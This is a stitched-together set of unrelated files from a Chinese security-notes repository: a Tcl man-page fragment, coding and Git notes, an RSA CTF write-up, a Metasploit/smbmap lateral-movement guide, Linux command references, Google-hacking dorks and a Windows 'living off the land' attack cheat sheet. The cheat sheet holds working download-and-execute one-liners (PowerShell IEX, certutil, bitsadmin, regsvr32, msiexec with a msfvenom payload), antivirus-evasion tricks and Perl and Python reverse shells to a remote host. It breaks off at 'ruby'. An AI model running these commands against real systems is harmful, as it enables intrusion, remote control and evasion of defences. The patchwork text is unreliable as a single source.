\fIlast \fR的元素(包括它们两个)组成的一个新列表。\fIFirst\fR 或 \fIlast\fR 可以是 \fBend\fR (或它的任何缩写) 来参照这个列表的最后的元素。如果 \fIfirst\fR 小于零,则作为零来对待。如果 \fIlast\fR 大于等于在这个列表中元素的数目,则作为 \fBend\fR 来对待。如果 \fIfirst\fR 大于 \fIlast\fR 则返回一个空串。注意: ``\fBlrange \fIlist first first\fR'' 不总是与``\fBlindex \fIlist first\fR'' 产生相同的结果(尽管对未用花括号包围起来的简单字段是相同的);但它精确的产生与``\fBlist [lindex \fIlist first\fB]\fR''相同的结果。 .SH "参见 SEE ALSO" lappend(n), lindex(n), linsert(n), list(n), llength(n), lreplace(n) .SH "关键字 KEYWORDS" element, list, range, sublist .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/06/21 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# 66. 构建乘积数组 ## 题目链接 [NowCoder](https://www.nowcoder.com/practice/94a4d381a68b47b7a8bed86f2975db46?tpId=13&tqId=11204&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking&from=cyc_github) ## 题目描述 给定一个数组 A[0, 1,..., n-1],请构建一个数组 B[0, 1,..., n-1],其中 B 中的元素 B[i]=A[0]\*A[1]\*...\*A[i-1]\*A[i+1]\*...\*A[n-1]。要求不能使用除法。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/4240a69f-4d51-4d16-b797-2dfe110f30bd.png" width="250px"> </div><br> ## 解题思路 ```java public int[] multiply(int[] A) { int n = A.length; int[] B = new int[n]; for (int i = 0, product = 1; i < n; product *= A[i], i++) /* 从左往右累乘 */ B[i] = product; for (int i = n - 1, product = 1; i >= 0; product *= A[i], i--) /* 从右往左累乘 */ B[i] *= product; return B; } ```
sec-knowleage
# Git(分布式版本控制系统) Git 和 Github 是两个东西。Git 是一个软件,作者是 Linus ,安装到我们的笔记本上。Github 是一个网站,作者是 Tom ,浏览器中访问 github.com 可以使用。 ### Github 的正确使用姿势 直接到 Github.com 上点 `New File` 按钮,**不是** 正确的使用方法。要了解正确的 Github 使用方法,首先要知道什么是 Git 。 Git 是一个版本控制工具,通常我们都是通过本地 Git 和 Github 的互动来完成版本控制工作的。 通常我们的 Github 工作流是这样的: - 第一步,在我们自己的笔记本上安装 Atom 和 Git - 第二步,注册 Github 账号,并开启新仓库 - 第三步,在笔记本上做代码开发 - 第四步,通过 git push 命令来上传代码到 Github OK,从上面流程可见,如果想要灵活运用 Github ,第一步先要学会 Git 的基本使用技巧。下面,我们先来学习 Git 的使用。
sec-knowleage
# Daring (misc, 100+50p, 30 solved) In the challenge we get a set of files: - AES-CTR encrypted [data](aes.enc) - RSA public [key](pubkey.txt) - RSA encrypted [data](rsa.enc) - Challenge [source code](vuln.py) The code is quite simple: ```python #!/usr/bin/env python3 import os from Crypto.Cipher import AES from Crypto.Hash import SHA256 from Crypto.Util import Counter from Crypto.PublicKey import RSA flag = open('flag.txt', 'rb').read().strip() key = RSA.generate(1024, e=3) open('pubkey.txt', 'w').write(key.publickey().exportKey('PEM').decode() + '\n') open('rsa.enc', 'wb').write(pow(int.from_bytes(flag.ljust(128, b'\0'), 'big'), key.e, key.n).to_bytes(128, 'big')) key = SHA256.new(key.exportKey('DER')).digest() open('aes.enc', 'wb').write(AES.new(key, AES.MODE_CTR, counter=Counter.new(128)).encrypt(flag)) ``` First thing we notice is that strangely the flag is encrypted both by RSA and by AES-CTR, but pretty much using related key. If we could decrypt one, we could decrypt the other one as well. Once we load the RSA public key we can notice that `e` is very small - `3`. This leads us to check what kind of padding scheme is used here, and bingo, there is `\x00` right padding: ```python flag.ljust(128, b'\0') ``` The value seems to be padded before RSA encryption, so there is no risk for degenerated RSA case when `flag^3 < n`, which would mean we can just calculate cube root of the ciphertext. But since the padding is just zeroes, we can actually use RSA homomorphic property to remove this padding from the ciphertext. This comes from the fact that RSA encryption is just `msg^e mod n` and if we multiply this by `x^e mod n` the result is `(mgs*x)^e mod n`. So if we decrypt this we would get back `msg*x mod n`. Adding zero padding here can be viewed simply as bit-shifting left, so just simple multiplication. Each `0` byte added to the plaintext as padding is just multiplying plaintext by 256. So in order to remove those, we need to divide by 256, which is the same as multiply by `modinv(256,n)`. Now, how many padded bytes are there? This is where the AES-CTR ciphertext comes into play. AES-CTR is a stream cipher, so the length of ciphertext is the same as length of plaintext. We can just load the aes ciphertext and check for the length. It's `43` bytes long, so there are 85 bytes of padding we can remove: ```python new_ct = ct * pow(modinv(256, n) ** padding_len, e, n) new_ct %= n ``` Now if we check this with some example, we will see that the plaintext is still 1 byte too long. This means that still `flag^3 > n` so the ciphertext we have was cut by `mod n` operation. But we know that it can't have overflown too much, so we can just brute-force it. We pretty know that `flag^3 = ct + k*n`, for some small `k`. We can loop over some values for `k` and see when `ct + k*n` is a cube: ```python for i in range(256): potential_pt, is_cube = gmpy2.iroot(new_ct + (n * i), e) if is_cube: print(i, long_to_bytes(potential_pt)) ``` When we run this we get `hxp{DARINGPADS_1s_4n_4n4gr4m_0f_RSAPADDING}` Whole solver [here](daring.py)
sec-knowleage
msf 在配合其它框架攻击,可补充 msf 本身的不足以及强化攻击方式,优化攻击线路。本季将会把 msf 与 Smbmap 结合攻击。弥补 msf 文件搜索以及文件内容搜索的不足。 项目地址:https://github.com/ShawnDEvans/smbmap * 支持传递哈希 * 文件上传/下载/删除 * 可枚举(可写共享,配合Metasploit) * 远程命令执行 * 支持文件内容搜索 * 支持文件名匹配(可以自动下载) * msf配合Smbmap攻击需要使用到sock4a模块 ```bash msf auxiliary(server/socks4a) > show options ``` ![](media/f7b132114e46760984cd298213740f4d.jpg) 该模块socks4a加入job ```bash msf auxiliary(server/socks4a) > jobs ``` ![](media/c38221c680e3e078414ebb4cfe8ecb66.jpg) 配置proxychains,做结合攻击铺垫。 ```bash root@John:/tmp# cat /etc/proxychains.conf ``` ![](media/9fb4144cb5b4c7825b4ad698f740f3f5.jpg) ![](media/33f8922e2c8e134f96f3ca546e96c420.jpg) 支持远程命令 ```bash root@John:/tmp\# proxychains smbmap ‐u administrator ‐p 123456 ‐d wordk group ‐H 192.168.1.115 ‐x 'net user' ``` ![](media/0d745135d03f66c1ec9bc97c844730f5.jpg) ```bash root@John:/tmp# proxychains smbmap ‐u administrator ‐p 123456 ‐d wordk group ‐H 192.168.1.115 ‐x 'whoami' ``` ![](media/c7d86f93c68a049ada011d3067384b07.jpg) 枚举目标机共享 ```bash root@John:/tmp# proxychains smbmap ‐u administrator ‐p 123456 ‐d wordk group ‐H 192.168.1.115 ‐d ABC ``` ![](media/e28af8ca88f58bb38cf7e10087ab35d6.jpg) ```bash root\@John:/tmp\# proxychains smbmap ‐u administrator ‐p 123456 ‐d wordk group ‐H 192.168.1.115 ‐x 'ipconfig' ``` ![](media/123a8b0a7824f57dd5a78f5861b8baea.jpg) Smbmap支持IP段的共享枚举,当然Smbmap还有更多强大的功能等待探索。 > Micropoor
sec-knowleage
mkbootdisk === 可建立目前系统的启动盘 ## 补充说明 **mkbootdisk命令** 用来为当前运行的系统创建能够单独使用的系统引导软盘,以便在系统出现故障时能够启动操作进行适当的修复工作。 ### 语法 ```shell mkbootdisk(选项)(参数) ``` ### 选项 ```shell --device<设备>:指定设备; --mkinitrdargs<参数>:设置mkinitrd的参数; --noprompt:不会提示用户插入磁盘; --verbose:执行时显示详细的信息; --version:显示版本信息。 ``` ### 参数 内核:指定内核版本。 ### 实例 ```shell mkbootdisk --device /dev/fd0 `uname -r` ``` 其中,``uname -r``是目前Linux 系统所使用的核心版本,如果你有多个核心版本的话,你以可以直接输入核心版本。例如在这个网页中所使用的核心有两个版本,一个是2.2.12-20,另一个是2.2.18,若要以2.2.18设定开机的话,可以使用: ```shell mkbootdisk --device /dev/fd0 2.2.18 ```
sec-knowleage
lvcreate === 用于创建LVM的逻辑卷 ## 补充说明 **lvcreate命令** 用于创建LVM的逻辑卷。逻辑卷是创建在卷组之上的。逻辑卷对应的设备文件保存在卷组目录下,例如:在卷组"vg1000"上创建一个逻辑卷"lvol0",则此逻辑卷对应的设备文件为"/dev/vg1000/lvol0"。 ### 语法 ```shell lvcreate(选项)(参数) ``` ### 选项 ```shell -L:指定逻辑卷的大小,单位为“kKmMgGtT”字节; -l:指定逻辑卷的大小(LE数)。 ``` ### 参数 逻辑卷:指定要创建的逻辑卷名称。 ### 实例 使用lvcreate命令在卷组"vg1000"上创建一个200MB的逻辑卷。在命令行中输入下面的命令: ```shell [root@localhost ~]# lvcreate -L 200M vg1000 #创建大小为200M的逻辑卷 ``` 输出信息如下: ```shell Logical volume "lvol0" created ``` 说明:创建成功后,新的逻辑卷"lvol0",将通过设备文件`/dev/vg1000/lvol0`进行访问。
sec-knowleage
atop === 监控Linux系统资源与进程的工具 ## 补充说明 [非内部程序,需要安装]它以一定的频率记录系统的运行状态,所采集的数据包含系统资源(CPU、内存、磁盘和网络)使用情况和进程运行情况,并能以日志文件的方式保存在磁盘中,服务器出现问题后,我们可获取相应的atop日志文件进行分析。atop是一款开源软件,我们可以从这里获得其[源码](https://github.com/Atoptool/atop)和[rpm安装包](https://pkgs.org/download/atop)。 ## 语法 ```shell atop(选项)(参数) ``` ## 说明 **ATOP列**:该列显示了主机名、信息采样日期和时间点 **PRC列**:该列显示进程整体运行情况 - sys、usr字段分别指示进程在内核态和用户态的运行时间 - #proc字段指示进程总数 - #zombie字段指示僵尸进程的数量 - #exit字段指示atop采样周期期间退出的进程数量 **CPU列**:该列显示CPU整体(即多核CPU作为一个整体CPU资源)的使用情况,我们知道CPU可被用于执行进程、处理中断,也可处于空闲状态(空闲状态分两种,一种是活动进程等待磁盘IO导致CPU空闲,另一种是完全空闲) - sys、usr字段指示CPU被用于处理进程时,进程在内核态、用户态所占CPU的时间比例 - irq字段指示CPU被用于处理中断的时间比例 - idle字段指示CPU处在完全空闲状态的时间比例 - wait字段指示CPU处在“进程等待磁盘IO导致CPU空闲”状态的时间比例 CPU列各个字段指示值相加结果为N00%,其中N为cpu核数。 cpu列:该列显示某一核cpu的使用情况,各字段含义可参照CPU列,各字段值相加结果为100% **CPL列**:该列显示CPU负载情况 - avg1、avg5和avg15字段:过去1分钟、5分钟和15分钟内运行队列中的平均进程数量 - csw字段指示上下文交换次数 - intr字段指示中断发生次数 **MEM列**:该列指示内存的使用情况 - tot字段指示物理内存总量 - free字段指示空闲内存的大小 - cache字段指示用于页缓存的内存大小 - buff字段指示用于文件缓存的内存大小 - slab字段指示系统内核占用的内存大小 **SWP列**:该列指示交换空间的使用情况 - tot字段指示交换区总量 - free字段指示空闲交换空间大小 **PAG列**:该列指示虚拟内存分页情况 swin、swout字段:换入和换出内存页数 **DSK列**:该列指示磁盘使用情况,每一个磁盘设备对应一列,如果有sdb设备,那么增多一列DSK信息 - sda字段:磁盘设备标识 - busy字段:磁盘忙时比例 - read、write字段:读、写请求数量 **NET列**:多列NET展示了网络状况,包括传输层(TCP和UDP)、IP层以及各活动的网口信息 - XXXi 字段指示各层或活动网口收包数目 - XXXo 字段指示各层或活动网口发包数目 ## atop日志 每个时间点采样页面组合起来就形成了一个atop日志文件,我们可以使用"atop -r XXX"命令对日志文件进行查看。那以什么形式保存atop日志文件呢? 对于atop日志文件的保存方式,我们可以这样: - 每天保存一个atop日志文件,该日志文件记录当天信息 - 日志文件以"atop_YYYYMMDD"的方式命名 - 设定日志失效期限,自动删除一段时间前的日志文件 其实atop开发者已经提供了以上日志保存方式,相应的atop.daily脚本可以在源码目录下找到。在atop.daily脚本中,我们可以通过修改INTERVAL变量改变atop信息采样周期(默认为10分钟);通过修改以下命令中的数值改变日志保存天数(默认为28天): ```shell (sleep 3; find $LOGPATH -name 'atop_*' -mtime +28 -exec rm {} \; )& ``` 最后,我们修改cron文件,每天凌晨执行atop.daily脚本: ```shell 0 0 * * * root /etc/cron.daily/atop.daily ``` ## 相关资料 - [官方手册](http://www.atoptool.nl/download/man_atop-1.pdf)
sec-knowleage
# T1593-002-搜索开放的域和网站-搜索引擎 ## 来自ATT&CK的描述 入侵受害者之前,攻击者可以通过搜索引擎以收集目标确定期间使用的有关受害者的信息。搜索引擎服务通常爬取在线站点以索引上下文,并且可能向用户提供专门的语法以搜索特定的关键字或特定类型的内容(即文件类型)(引自:SecurityTrails Google Hacking)(引自:ExploitDB GoogleHacking)。 攻击者可以根据他们寻求收集的信息来构造各种搜索引擎查询语句。威胁方可以使用搜索引擎来收集有关受害者的一般信息,威胁方可以使用专门的查询语句来查找敏感信息(例如网络详细信息或凭据)的泄漏。这些来源提供的信息可能为如下活动提供可能性:其他形式的侦察活动(例如:[钓鱼](https://contribute.knowledge.qihoo.net/detail/technique/T1598)或[搜索公开技术数据库](https://contribute.knowledge.qihoo.net/detail/technique/T1596)),建立运营资源(例如:[建立账号](https://contribute.knowledge.qihoo.net/detail/technique/T1585)或[入侵账号](https://contribute.knowledge.qihoo.net/detail/technique/T1586)),实现初始访问(例如:[有效账号](https://contribute.knowledge.qihoo.net/detail/technique/T1078)或[钓鱼攻击](https://contribute.knowledge.qihoo.net/detail/technique/T1566))。 ## 测试案例 google hacking 基础篇: ```bash * intitle:搜索网页标题中包含有特定字符的网页。例如intitle: 后台,这样网页标题中带有‘后台’的网页都会被搜索出来。 * inurl:搜索包含有特定字符的URL。例如inurl:admin,可以用来查找网站后台。 * intext: 搜索网页正文内容中的指定字符,例如intext:操作系统。可以搜索含有‘操作系统’的页面 * Filetype: 搜索指定类型的文件。例如操作系统 filetype:pdf,就可以找到关于操作系统的pdf文档。 * Site:找到与指定网站有联系的URL。例如Site:baidu.com。所有和这个网站有联系的URL都会被显示。 * movie: 当我们用movie提交查询的时候,Google会返回跟查询关键词相关的电影信息。(当前只支持英文Google) * info: 查询网站的一些信息。例如info:bbs.byr.cn,它只会返回一个结果,是一个选择列表,列表的选项是这个网站的某一方面的信息。info=cache+related+link+site+intext+intitle。 * 双引号: 代表完全匹配,使关键词不分开,顺序都不能变。 * 减号: 减号与前一个关键词之间一定要有一个空格,与后一个关键词之间一定不能有空格。搜索结果为,匹配前一个关键词但不匹配后一个关键词的结果。例如seo -搜索引擎。 * AND: 逻辑与,这个命令我们其实一直都在用,只是没有意识到。一般用空格代替,还可以用“+”代替。例如霹雳布袋+败亡之剑,返回的结果同时包含两者。 * weather: 查询某一地区或城市的天气。不过我们这一地区或城市必须是Google能识别的,例weather:beijing,Google将会给我们返回北京的天气。 * 星号(*): 通配符,可以匹配任意字符串。例如搜索*擎,则返回的结果中不仅有“搜索引擎”,还有“搜索巨擎”之类的。 * allinurl: 结果的url中包含多个关键词。例如allinurl:byr jobs,等于inurl:byr inurl:jobs。allinurl也是排他性指令 * define: 查询关键词的词义,起的是字典的作用。Google会返回包含查询关键词定义的网页,例define:computer,支持汉字哦! ``` 进阶篇: ```bash * 查找后台地址:site:域名 inurl:login|admin|manage|member|admin_login|login_admin|system|login|user|main|cms * 查找文本内容:site:域名 intext:管理|后台|登陆|用户名|密码|验证码|系统|帐号|admin|login|sys|managetem|password|username * 查找可注入点:site:域名 inurl:aspx|jsp|php|asp * 查找上传漏洞:site:域名 inurl:file|load|editor|Files * 查看脚本类型:site:域名 filetype:asp/aspx/php/jsp * 迂回策略:inurl:cms/data/templates/images/index/ * 网络设备关键词:intext:WEB Management Interface for H3C SecPath Series * 存在的数据库:site:域名 filetype:mdb|asp|# ``` ## 检测日志 无 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 许多此类攻击活动的发生率很高,并且相关的误报率也很高,并且有可能发生在目标组织的监测范围之外,从而使防御者难以发现。 检测工作可能会集中在攻击生命周期的相关阶段,例如在"初始访问"阶段。 ## 关联TIP [[T1593-001-搜索开放的域和网站-社交媒体]] ## 参考推荐 MITRE-ATT&CK-T1593-002 <https://attack.mitre.org/techniques/T1593/002/> Github Hacking | Google Hacking- 信息搜集篇 - 渗透红队笔记 <https://cloud.tencent.com/developer/article/1752139> Google Hacking总结 <https://www.jianshu.com/p/f8062e2cc1d7> 信息收集之Google Hacking的简单用法 <https://blog.csdn.net/qq_36119192/article/details/84029809>
sec-knowleage
dhcrelay === 使用dhcrelay命令可以提供中继DHCP和BOOTP请求 ## 补充说明 **dhcrelay命令** 使用dhcrelay命令可以提供中继DHCP和BOOTP请求,从一个没有DHCP服务器的子网直接连接到其它子网内的一个或多个DHCP服务器。该命令在DHCP中继服务器上使用,同时支持DHCPv4/BOOTP和DHCPv6协议。 ### 语法 ```shell dhcrelay [选项] [DHCP服务器] ``` ### 选项 ```shell -c <跳数> 当转发数据包时,dhcrelay丢弃已经达到一个最大跳数的数据包。默认值是10,最大值是255 -4 运行dhcrelay命令作为DHCPv4/BOOTP中继代理。这是默认操作模式 -6 运行dhcrelay命令作为DHCPv6中继代理 -q 安静模式 -p <端口> 监听和发送端口。DHCPv4/BOOTP默认端口是67,DHCPv6默认端口是547 -A <长度> 指定发送到DHCP服务器的最大数据包大小 -d 强制dhcrelay命令作为前台进程运行 ``` ### 例子 指定DHCP服务器的位置。 ```shell [root@localhost ~]# dhcrelay 192.168.0.2 Internet Systems Consortium DHCP Relay Agent4.1.1-P1 Copyright 2004-2010 Internet SystemsConsortium. All rights reserved. For info, please visithttps://www.isc.org/software/dhcp/ Listening on LPF/eth1/00:0c:29:fc:2f:ef Sending on LPF/eth1/00:0c:29:fc:2f:ef Listening on LPF/eth0/00:0c:27:fc:25:ec Sending on LPF/eth0/00:0c:27:fc:25:ec Sending on Socket/fallback ```
sec-knowleage
package org.vulhub.jsf2; import javax.faces.bean.ManagedBean; import javax.faces.bean.SessionScoped; @ManagedBean @SessionScoped public class HelloBean implements java.io.Serializable { private static final long serialVersionUID = 1L; private String name; public String getName() { return name; } public void setName(String name) { this.name = name; } public void hello() { System.out.println("Hello "+ name); } }
sec-knowleage
# Windows-LOL `Living Off The Land` --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **相关文章** - [Get Reverse-shell via Windows one-liner](https://www.hackingarticles.in/get-reverse-shell-via-windows-one-liner/) - [What Are LOLBins and How Do Attackers Use Them in Fileless Attacks? - Cynet](https://www.cynet.com/attack-techniques-hands-on/what-are-lolbins-and-how-do-attackers-use-them-in-fileless-attacks/) - [Windows文件下载执行的15种姿势](https://mp.weixin.qq.com/s/tINvBuhiZwz7MbA_sffapA) - [命令行上线小技巧](https://blog.m1kh.com/index.php/archives/694/) **相关资源** - [LOLBAS](https://lolbas-project.github.io/) - https://github.com/LOLBAS-Project/LOLBAS --- ## Powershell ### 开启执行策略 ```powershell set-ExecutionPolicy RemoteSigned ``` ### 关闭执行策略 ```powershell set-ExecutionPolicy Restricted ``` ### 远程下载文件保存在本地 ```powershell powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.1.1/1/evil.txt','evil.exe') # 或 $h=new-object System.Net.WebClient $h.DownloadFile('https://xxx.com/payload/shell/test.sh','C:\Users\xxx\Desktop\test\test.sh') ``` ### 命令行执行 ps1 文件 (绕过本地权限执行) ```powershell powershell.exe -ExecutionPolicy bypass -File "C:\Users\XX\Desktop\test\test.ps1" ``` ExecutionPolicy Bypass: 绕过执行安全策略,这个参数非常重要,在默认情况下,PowerShell 的安全策略规定了 PowerShell 不允许运行命令和文件。通过设置这个参数,可以绕过任意一个安全保护规则。在渗透测试中,基本每次运行 PowerShell 脚本时都要使用这个参数。 * WindowStyle Hidden: 隐藏窗口。 * NoLogo: 启动不显示版权标志的 PowerShell. * NonInteractive (-Nonl): 非交互模式,PowerShell 不为用户提供交互的提示。 * NoProfile (-NoP): PowerShell 控制台不加载当前用户的配置文件。 * Noexit: 执行后不退出 Shell。这在使用键盘记录等脚本时非常重要。 ### 本地隐藏绕过权限执行脚本 ```powershell PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden NoLogo -NonInteractive -NoProfile File "test.ps1" ``` ### 远程下载并执行 ```powershell powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.1/1/evil.txt'))" ``` ```powershell powershell IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.1.1/1/powercat.ps1'); powercat -c 192.168.1.1 -p 9999 -e cmd ``` **将命令拆分为字符串,然后进行拼接** ```powershell powershell "$a='IEX(New-Object Net.WebClient).Downlo';$b='11(''https://xxx.com/payload/test/test.ps1'')'.Replace('11','adString');IEX ($a+$b)" ``` **用IEX下载远程PS1脚本绕过权限执行** ```powershell PowerShell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonI IEX(New-ObjectNet.WebClient).DownloadString("test.ps1");[Parameters] ``` --- ## 白名单 ### smb kali 使用 Impacket ```bash mkdir smb && cd smb impacket-smbserver share `pwd` ``` windows 命令行下拷贝 ``` copy \\IP\share\file.exe file.exe ``` ### Bitsadmin bitsadmin 是一个命令行工具,可用于创建下载或上传工作和监测其进展情况。 ``` bitsadmin /transfer n http://192.168.1.1/1/evil.txt d:\test\1.txt ``` ### certutil 某些时候,服务器版本过低,无法使用 powershell,这时候可用 certutil 上线。 certutil 用于备份证书服务,支持 xp-win10 都支持。由于 certutil 下载文件都会留下缓存,所以一般都建议下载完文件后对缓存进行删除。 缓存目录为: `%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content` ```bash # 下载 certutil -urlcache -split -f http://192.168.1.1/evil.txt test.php # 如果提示拒绝访问,可以在找一个能创建文件夹的目录,创建完之后下载到文件夹里 # bypass技巧 certutil & Certutil -urlcache -split -f https://xxx.com/test/payload.bin payload.bin certutil & Certutil -urlcache -split -f https://xxx.com/test/mian.exe mian.exe & mian.exe certutil | Certutil -urlcache -split -f https://xxx.com/test/payload.bin payload1.bin # 删除缓存 certutil -urlcache -split -f http://192.168.1.1/evil.txt delete ``` ### ipc$ ``` # 建立远程 IPC 连接 net use \\192.168.1.1\ipc$ /user:administrator "abc123!" # 复制远程文件到本地主机 copy \\192.168.1.1\c$\2.txt D:\test ``` ### MSBuild - [Use MSBuild To Do More](https://3gstudent.github.io/3gstudent.github.io/Use-MSBuild-To-Do-More/) ### Mshta.exe Mshta.exe 运行 Microsoft HTML 应用程序主机,这是 Windows OS 实用程序,负责运行 HTA(HTML 应用程序)文件。可以用来运行 JavaScript 或 VBScript 的 HTML 文件。 目标端 ``` mshta.exe http://192.168.1.1/test.hta ``` 这个基本上已经不好用了,杀软拦截的厉害 ### Rundll32.exe Rundll32.exe 与 Windows 操作系统相关联,可调用从 DLL(16位或32位)导出的函数并将其存储在适当的内存库中。 ```cmd rundll32.exe \\192.168.1.1\test.dll,0 ``` **url.dll** 调用 API ShellExecute 打开程序 ``` rundll32.exe url.dll,FileProtocolHandler calc.exe ``` 执行 js 文件 ```js WScript.Echo("1"); ``` ``` rundll32.exe url.dll,OpenURL C:\test\echo.js ``` 执行 hta 文件 ```html <HTML> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <HEAD> <script language="VBScript"> Window.ReSizeTo 0, 0 Window.moveTo -2000,-2000 Set objShell = CreateObject("Wscript.Shell") objShell.Run "calc.exe" self.close </script> <body> demo </body> </HEAD> </HTML> ``` ``` rundll32.exe url.dll,OpenURLA C:\test\calc.hta ``` **zipfldr.dll** ``` rundll32 zipfldr.dll, RouteTheCall calc.exe ``` **ieframe.dll** 编写一个 .url 文件 ``` [InternetShortcut] URL=c:\windows\system32\calc.exe ``` ``` rundll32.exe ieframe.dll,OpenURL C:\test\calc.url ``` **shdocvw.dll** 编写一个 .url 文件 ``` [InternetShortcut] URL=c:\windows\system32\calc.exe ``` ``` rundll32.exe shdocvw.dll,OpenURL C:\test\calc.url ``` **相关文章** - [关于利用rundll32执行程序的分析](https://xz.aliyun.com/t/2188) - [ABUSING EXPORTED FUNCTIONS AND EXPOSED DCOM INTERFACES FOR PASS-THRU COMMAND EXECUTION AND LATERAL MOVEMENT](https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/) ### Regsvr32.exe Regsvr32 是一个命令行实用程序,用于注册和注销 OLE 控件,例如 Windows 注册表中的 DLL 和 ActiveX 控件。Windows XP 和更高版本的 Windows 的 %systemroot%\ System32 文件夹中安装了 Regsvr32.exe。 Regsvr32 使用 “squablydoo” 技术绕过应用程序白名单。签名的 Microsoft 二进制文件 Regsvr32 可以请求一个 .sct 文件,然后在其中执行包含的 PowerShell 命令。这两个 Web 请求(即 .sct 文件和 PowerShell 下载 / 执行)都可以在同一端口上发生。“PSH(Binary)” 将向磁盘写入文件,允许下载 / 执行自定义二进制文件。 ```bash regsvr32 /s /n /u /i:http://192.168.1.1/test.sct test.dll ``` ### Msiexec.exe msiexec 支持远程下载功能,将msi文件上传到服务器,通过如下命令远程执行: 攻击端 ```bash msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=1234 -f msi > 1.msi python -m SimpleHTTPServer 80 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.1.1 set lport 1234 exploit ``` 目标端 ```bash msiexec /q /i http://192.168.1.1/1.msi ``` ### msxsl.exe msxsl.exe 是微软用于命令行下处理 XSL 的一个程序,所以通过他,我们可以执行 JavaScript 进而执行系统命令。 下载地址 : https://www.microsoft.com/en-us/download/details.aspx?id=21714 msxsl.exe 需要接受两个文件,XML 及 XSL 文件,可以远程加载 ```bash msxsl http://192.168.1.1/1/demo.xml http://192.168.1.1/1/exec.xsl ``` demo.xml ```xml <?xml version="1.0"?> <?xml-stylesheet type="text/xsl" href="exec.xsl" ?> <customers> <customer> <name>Microsoft</name> </customer> </customers> ``` exec.xsl ```xml <?xml version='1.0'?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="http://mycompany.com/mynamespace"> <msxsl:script language="JScript" implements-prefix="user"> function xml(nodelist) { var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe"); return nodelist.nextNode().xml; } </msxsl:script> <xsl:template match="/"> <xsl:value-of select="user:xml(.)"/> </xsl:template> </xsl:stylesheet> ``` ### pubprn.vbs 在 Windows 7 以上版本存在一个名为 PubPrn.vbs 的微软已签名 WSH 脚本,其位于`C:\Windows\System32\Printing_Admin_Scripts\en-US`,仔细观察该脚本可以发现其显然是由用户提供输入(通过命令行参数),之后再将参数传递给 GetObject() ```bash "C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs" 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct ``` ### conhost ```bash conhost calc.exe ``` ### schtasks ```bash schtasks /create /tn foobar /tr c:\windows\temp\foobar.exe /sc once /st 00:00 /S host /RU System schtasks /run /tn foobar /S host schtasks /F /delete /tn foobar /S host # 清除 schtasks ``` ### SC ```bash sc \\host create foobar binpath=“c:\windows\temp\foobar.exe” # 新建服务,指向拷贝的木马路径 sc \\host start foobar # 启动建立的服务 sc \\host delete foobar # 完事后删除服务 ``` ### forfiles ```bash forfiles /c shell.exe ``` ### iwr ``` iwr -useb http://xxx.com/test.txt ``` --- ## Other ### perl ```perl perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:4242");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` ### python ```powershell C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.0.1', 4242)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" ``` ### ruby ```ruby ruby 